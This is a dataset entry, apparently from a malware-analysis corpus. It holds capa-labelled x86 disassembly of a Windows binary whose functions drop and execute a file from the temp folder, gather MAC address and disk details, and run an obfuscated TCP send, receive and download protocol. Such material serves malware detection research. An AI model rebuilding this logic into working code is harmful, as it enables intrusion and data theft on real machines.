joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401afa
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004152c0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401bac
push edi
mov edi, 0x42b854
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401b45
sub eax, edx
sar eax, 1
je 0x401bab
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ee9
push 0x42b870
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041343b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401bab
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041372e
push dword [ebp - 0x78]
call fcn.004137c2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00412eda
add ebp, 0x198
leave
ret

Function at 0x401bc5
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004152c0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401ca0
push edi
mov edi, 0x42b79c
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401c14
sub eax, edx
sar eax, 1
je 0x401c9f
cmp dword [0x432fc0], 3
mov esi, 0x104
lea eax, [ebp - 0x74]
jne 0x401c51
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42b878
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ee9
add esp, 0xc
jmp 0x401c59
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ee9
push 0x42b870
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041343b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401c9f
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041372e
push dword [ebp - 0x78]
call fcn.004137c2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00412eda
add ebp, 0x198
leave
ret
Function at 0x401cb9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004152c0
add esp, 0xc
cmp dword [0x432fc0], 3
lea eax, [ebp - 0x20c]
jne 0x401d1f
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42b878
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00412ee9
add esp, 0xc
pop esi
jmp 0x401d2b
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x42b87c
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00412eda
leave
ret

Function at 0x401eaf
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x254], eax
xor eax, eax
push 0x206
mov word [ebp - 0x24c], ax
xor ebx, ebx
lea eax, [ebp - 0x24a]
push ebx
push eax
call fcn.004152c0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x24c]
push eax
mov dword [ebp - 0x250], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x250]
push eax
movzx eax, word [ebp - 0x24c]
sub eax, 0x41
push eax
call fcn.004020ad
pop ecx
pop ecx
xor eax, eax
cmp dword [ebp - 0x250], ebx
push 9
pop ecx
mov esi, 0x42b898
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
jl 0x401f87
push 0xa
push 0xa
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x250]
call fcn.00414548
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push 0x14
push eax
call fcn.00412ee9
add esp, 0x1c
push ebx
push ebx
push 3
push ebx
push 3
push closesocket
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x401f8b
xor eax, eax
jmp 0x401f97
push dword [ebp - 0x254]
call fcn.00401de9
pop ecx
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412eda
leave
ret
Function at 0x401fa6
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x40204f
mov ebx, 0xb69
push ebx
call fcn.00408aaa
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402040
mov eax, dword [ebp - 4]
push 4
add eax, 0x30
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x402022
jg 0x402016
cmp ecx, dword [ebp - 0x18]
jbe 0x402022
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x89
dec ebx
jne 0x402005
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.004170e0
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x40204f
push dword [ebp - 4]
call fcn.00408a9f
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40205f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x4020a8
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret

Function at 0x402316
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.004152c0
add esp, 0xc
test edi, edi
je 0x4023dc
and dword [ebp - 0x7c], esi
mov ecx, 0x42b998
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x402361
sub eax, esi
sar eax, 1
je 0x402385
push 0x42b8ec
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.0041343b
add esp, 0xc
jmp 0x4023b9
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42b854
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00412ee9
push 0x42b8ec
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0041343b
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x4023dc
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.00413a01
push dword [ebp - 0x7c]
call fcn.004137c2
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00412eda
add ebp, 0x194
leave
ret
Function at 0x4023f4
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x42b870
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0041343b
add esp, 0xc
test eax, eax
je 0x40241e
xor eax, eax
jmp 0x4024a1
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00413b0d
push dword [ebp - 4]
call fcn.00413d2f
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00413b0d
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.00413dec
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.0041372e
push dword [ebp - 4]
call fcn.004137c2
push 0x32
lea ebx, [edi + esi]
call fcn.004024a4
push 0x42b8ec
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0041343b
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x402417
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00413a01
push dword [ebp - 4]
call fcn.004137c2
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret
Function at 0x4024e6
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x42b8f4
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.00414714
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00413eb6
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.00413f20
add esp, 0x14
cmp eax, ebx
je 0x402564
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x402648
mov eax, 0x433048
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402594
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x4025a9
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4025bb
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00408aaa
push esi
mov edi, eax
push ebx
push edi
call fcn.004152c0
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push 0x433048
push esi
push edi
call fcn.00413f4d
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402604
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push 0x42b900
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x402647
push edi
call fcn.00408a9f
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412eda
add ebp, 0x298
leave
ret
Function at 0x40265f
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.004152c0
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x436480
call fcn.00401a6e
pop ecx
push 2
pop ebx
test eax, eax
jne 0x40277a
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.004152c0
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.0040280c
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436628], cx
add eax, ebx
cmp cx, si
jne 0x4026dc
push 0x42b908
push 0x40
push 0x436484
call fcn.00412f66
add esp, 0xc
push 0x51
pop eax
push 0x42b7d0
push 0x10
push 0x436506
mov word [0x436504], ax
call fcn.00412f66
add esp, 0xc
push 0x42b780
push 0x40
push 0x436526
call fcn.00412f66
mov eax, 0x2b66
add esp, 0xc
mov word [0x4365a6], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436608], cx
add eax, ebx
cmp cx, si
jne 0x402741
mov edi, 0x436608
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x40275b
mov esi, 0x42b924
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x436648], 5
xor esi, esi
call fcn.0040289a
lea edi, [ebp - 0x248]
call fcn.0040280c
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x4368b8], cx
add eax, ebx
cmp cx, si
jne 0x40278c
mov edi, 0x4368b8
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x4027c3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4027fd
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4027bf
mov ebx, 0x436938
call fcn.00402a81
mov eax, dword [0x43664c]
push esi
push esi
push esi
push 0x402ef7
push esi
push esi
mov dword [0x436940], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x432fc4], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412eda
leave
ret
Function at 0x402c78
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.00413dec
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402ce9
push dword [ebp - 0x28]
call fcn.00414347
push dword [ebp - 0x34]
call fcn.00413dec
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x402da3
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x402da3
jmp 0x402d10
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x402d23
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x402d92
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402d35
sub eax, ecx
cmp eax, 0x10
jle 0x402d46
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402d66
cmp ecx, eax
jne 0x402d57
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402d4e
lea eax, [ebp - 0x24]
push eax
call fcn.00402923
pop ecx
test eax, eax
je 0x402d88
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00412f66
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402d2d
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x402da3
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x402d0d
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402dba
push dword [ebp - 0x28]
call fcn.00414347
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00412eda
leave
ret
Function at 0x40310f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push dword [ebp + 8]
mov dword [ebp - 0x430], ecx
call fcn.00403280
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x403274
push ebx
push esi
push edi
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.004152c0
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.004152c0
lea edi, [ebp - 0x220]
call fcn.00402ff6
push 0x42b878
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412ee9
mov byte [ebp - 0x18], 0
add esp, 0x24
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x435b68
cmp word [ebx], 0
je 0x403201
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412f66
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412ee9
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x18]
call fcn.00405519
add esp, 0x1c
test eax, eax
je 0x403201
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
mov esi, 0x104
jne 0x403201
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x4360e0
jl 0x4031a9
mov edi, 0x435b68
cmp word [edi], 0
je 0x40322c
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x430]
call fcn.00403a04
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4360e0
jl 0x403214
push 0x436b38
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00412ee9
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x40326e
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412eda
leave
ret
Function at 0x403457
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x804]
cmp ecx, ebx
je 0x403479
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9a4]
push eax
push 0x101
mov dword [ebp - 0x9a8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4034a1
xor eax, eax
jmp 0x403533
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x40349a
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4034e1
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9a8], eax
push 4
lea eax, [ebp - 0x9a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403522
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x810], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x814], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x812], ax
push 0x10
lea eax, [ebp - 0x814]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403522
xor ebx, ebx
inc ebx
jmp 0x403531
mov eax, dword [esi]
test eax, eax
je 0x403531
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00412eda
leave
ret

Function at 0x40366c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x4036e9
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403693
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403687
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00408aaa
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x433040
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00419d90
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x4036ec
cmp eax, dword [ebp - 4]
jne 0x4036ec
mov dword [ebp - 8], 1
jmp 0x4036ec
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4036f7
push ebx
call fcn.00408a9f
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x403890
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x4038ce
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x4039ec
cmp edi, ebx
je 0x4039ec
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.004152c0
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x4039ec
cmp eax, ebx
je 0x4039ec
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00408aaa
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x4039d7
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4039b5
test eax, eax
je 0x4039b5
add ebx, eax
cmp edi, ebx
jg 0x40393d
push 5
pop ecx
cmp ebx, ecx
jl 0x4039d7
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x433040
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4039d7
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x403995
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x40398f
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x4039bd
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00419d90
mov dword [esi], ebx
jmp 0x4039ca
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4039d7
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00419d90
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x4039ec
push dword [ebp - 0x860]
call fcn.00408a9f
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412eda
add ebp, 0x70
leave
ret
Function at 0x403c3d
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.00417780
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x403c83
xor eax, eax
jmp 0x403ccb
cmp dword [ebp - 0x78], ebx
jbe 0x403cba
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x403cba
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00413a01
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x403c88
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.004137c2
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412eda
add ebp, 0xf90
leave
ret